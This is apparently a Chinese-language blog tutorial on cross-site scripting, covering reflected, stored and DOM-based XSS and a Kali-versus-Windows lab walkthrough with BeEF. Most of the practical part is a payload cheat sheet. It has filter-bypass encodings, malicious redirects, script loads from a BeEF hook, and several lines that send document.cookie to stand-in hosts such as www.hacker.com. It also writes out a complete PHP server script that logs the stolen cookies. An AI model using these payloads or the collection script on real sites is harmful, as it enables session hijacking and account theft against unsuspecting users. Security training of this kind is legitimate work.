XSS跨站脚本攻击

XSS简介

跨站脚本(cross site script) 为了避免与样式css混淆,所以简称为XSS。

XSS是一种经常出现web应用中的计算机安全漏洞,也是web中最主流的攻击方式。那么什么是XSS呢?

XSS是恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些恶意代码,嵌入(HTML、JavaScript)到web页面中去。使别的用户访问都会执行相应的嵌入代码。

从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。



XSS攻击的危害包括:

-盗取各类用户账号,如机器登陆账号、用户网银账号、各类管理员账号

-控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

-盗窃企业重要的具有商业价值的资料

-非法转账

-强制发送电子邮件

-网站挂马

-DDOS
-控制受害者机器向其他网站发起攻击

原理分析


http://processon.com/chart_image/5cb7d7c0e4b09b16ffbc6c95.png

XSS主要的原因:
过于信任客户端提交的数据!



XSS主要分类:

反射型xss攻击(Reflected XSS) 又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的URL(即每次攻击需要用户的点击)。



存储型XSS(Stored XSS) 又称为持久型跨站点脚本,他一般发生在XSS攻击向量(一般指的XSS攻击代码)存储在网站数据库,一般出现在网站的留言板、评论处、个人资料等需要用户可以对网站写入数据的地方,当页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。持久的XSS相比非持久型XSS攻击危害性更大,因为每当用户打开页面,查看内容时脚本将自动执行。谷歌的orkut曾经就遭受到XSS。



DOM型XSS(基于dom的跨站点脚本攻击)
DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如URL,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM—based XSS漏洞。

构造XSS脚本

常用HTML标签
1
2
3
4
5
6
7
<iframe> iframe 元素会创建包含另一个文档的内联框架(即行内框架) 
<textarea> <textarea> 标签定义多行的文本输入控件
<img> img元素向网页中嵌入一幅图像
<script> <script> 标签用于定义客户端脚本,比如JavaScript。
script 元素既可以包含脚本语句,也可以通过src属性指向外部脚本文件。
必需的type 属性规定脚本的MIME类型
JavaScript 的常见应用时图像操作、表单验证以及动态内容更新。
常用JavaScript方法
1
2
3
4
5
6
alert   alert()方法用于显示带有一条指定消息和一个确认按钮的警告框
window.location window.location 对象用于获得当前页面的地址(URL),并把浏览器重定向到新的页面。
location.herf 返回当前显示的文档的完整URL
onload 一张页面或一幅图像完成加载
onsubmit 确认按钮点击
onerror 在加载文档或图像时发生错误
构造XSS脚本
1
2
3
4
弹框警告
此脚本实现弹框,一般作为漏洞或者演示使用,类似SQL注入测试的单引号',一旦此脚本能执行,也就意味着后端服务器没有对特殊字符做过滤<>/' 这样就可以证明,这个页面位置存在了XSS漏洞。
<script>alert('xss')</script>
<script>alert(document.cookie)</script> //获取cookie
1
2
3
页面嵌套
<iframe src=http://www.baidu.com width=300 height=300></iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>
1
2
3
页面重定向
<script>window.location="http://www.axiaowei.cn"</script>
<script>location.href="http://www.baidu.com"</script>
1
2
3
4
弹框警告并重定向
<script>alert("请移步到我们的新站");location.href="http://www.axiaowei.cn"</script>
<script>alert('xss');location.href="http://192.168.203.19/mutillidae/robots.txt"</script>
这里结合了一些社工思路,例如:通过网站内部私信的方式将其发送给其他用户。如果其他用户点击并且相信了这个信息,则可能在另外的站点重新登陆账户(克隆网站收集账户)
1
2
3
访问恶意代码
<script src="http://www.axiaowei.cn/xss.js"></script>
<script src="http://BeEF_IP:3000/hook.js"></script> //结合BeEF收集用户的cookie
1
2
3
4
巧用图片标签
<img src="#" onerror=alert('xss')>
<img src="javascript:alert('xss');">
<img src="http://BeEF_IP:3000/hook.js">
1
2
3
4
绕开过滤的脚本
大小写 <ScrIpt>alert('xss')</SCRipt>
字符编码 采用URL、Base64等编码
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;">xiaowei</a>
1
2
3
4
5
6
7
8
9
10
11
收集用户cookie
打开新窗口并且采用本地cookie访问目标网页
<script>window.open("http://www.hacker.com/cookie.php?cookie="+document.cookie)</script>
<script>document.location="http://www.hacker.com/cookie.php?cookie="+document.cookie</script>
<script>new Image().src="http://www.hacker.com/cookie.php?cookie.php?cookie="+document.cookie;</script>
<img src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></img>
<iframe src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></iframe>
<script>new Image().src="http://www.hacker.com/cookie.php?cookie='+document.cookie";
img.width = 0;
img.height = 0;
</script>
反射型XSS
安全级别


手工XSS
1
2
3
弹窗警告:
<script>alert('xiaowei')</script>
<script>alert(document.cookie)</script>


1
2
页面重定向:
<script>location.href="http://www.baidu.com"</script>

存储型XSS
1
2
存储型XSS(持久型)即攻击者将带有XSS攻击的链接放在网页的某个页面,例如评论框,留言板等
用户访问此XSS链接并执行,由于存储型XSS能够攻击所有访问此页面的用户,所以危害非常大。
手工(基础)
1
2
3
攻击1 弹框告警:kali linux 端操作
Name : xiaowei
Message :<script>alert('xiaowei')</script>


1
弹框告警:肉鸡 Windows10端操作 浏览页面


1
2
3
4
5
攻击2:获取cookie:渗透机 Kali Linux 操作
①构建收集cookie服务器
②构造XSS代码并植入到web服务器
③等待肉鸡触发XSS代码并将cookie发送到渗透机(kali)
Cookie利用

构建收集服务器

1
确保apache2服务开启


1
2
3
4
5
6
7
8
9
//创建cookie_rec.php脚本文件
root@kali:~# vim /var/www/html/cookie_rec.php
//脚本内容
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt","a");
fwrite($log,$cookie . "\n");
fclose($log);
?>


1
2
// 修改拥有者用户、用户组
root@kali:/# chown -R www-data.www-data /var/www/


1
2
3
通过渗透机植入XSS代码
<script>window.open('http://192.168.203.19/cookie_rec.php?cookie='+document.cookie)</script>
注意:192.168.203.19 为Kali Linux IP

前端设置了长度限制50

审查元素修改长度设置值

1
2
获取cookie:肉鸡 Windows10端操作 浏览页面
注:这里浏览器需要允许弹窗


查看获取到的结果

自动化XSS

BeEF简介
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Browser Exploitation Framework(BeEF)
BeEF是目前最强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行渗透;
BeEF是基于Ruby语言编写的,并且支持图形化界面,操作简单;
http://beefproject.com

信息收集:
1、网络发现
2、主机信息
3、Cookie获取
4、会话劫持
5、键盘记录
6、插件信息

持久化控制
1、确认弹框
2、小窗口
3、中间人

社会工程:
1、点击劫持
2、弹窗告警
3、虚假页面
4、钓鱼页面

渗透攻击:
1、内网渗透
2、Metasploit
3、CSRF攻击
3、DDOS攻击
BeEF基础
1
2
3
启动Apache和BeEF
root@kali:~# systemctl start apache2
root@kali:~# beef-xss



1
植入XSS代码


1
用户浏览页面


1
online browsers

1
2
3
4
5
命令command颜色(Color):
绿色 对目标主机生效并且不可见(不会被发现)
橙色 对目标主机生效但可能可见(可能被发现)
灰色 对目标主机未必生效(可验证下)
红色 对目标主机不生效


BeEF相关文章:https://www.freebuf.com/articles/web/175755.html

XSS练习相关网站:http://xsst.sinaapp.com/example/1-1.php?page=%3Cimg%20src=x

-本文结束感谢您的阅读-